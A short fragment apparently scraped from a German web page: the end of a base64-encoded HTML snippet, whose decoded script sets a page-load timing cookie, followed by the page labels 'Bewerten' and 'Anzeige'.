8+PC9ub3NjcmlwdD4NCg0KDQoNCjwvZGl2Pg0KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnPg0KKGZ1bmN0aW9uKGEpe2EuX3VlYz1mdW5jdGlvbihkKXt2YXIgaD13aW5kb3csYj1oLnBlcmZvcm1hbmNlLGY9Yj9iLm5hdmlnYXRpb24udHlwZTowO2lmKGY9PTApe3ZhciBlPSI7IGV4cGlyZXM9IituZXcgRGF0ZSgrbmV3IERhdGUrNjA0ODAwMDAwKS50b0dNVFN0cmluZygpLGM9K25ldyBEYXRlLXVlX3QwO2lmKGM+MCl7dmFyIGc9InwiKyArbmV3IERhdGU7ZG9jdW1lbnQuY29va2llPSJjc20taGl0PSIrKGQvYykudG9GaXhlZCgyKStnK2UrIjsgcGF0aD0vIn19fX0pKHVlX2NzbSk7DQpfdWVjKDM1MzM1KTsNCjwvc2NyaXB0Pg0KPC9ib2R5Pg0KPC9odG1sPg0KDQo=";
Bewerten
- +
Anzeige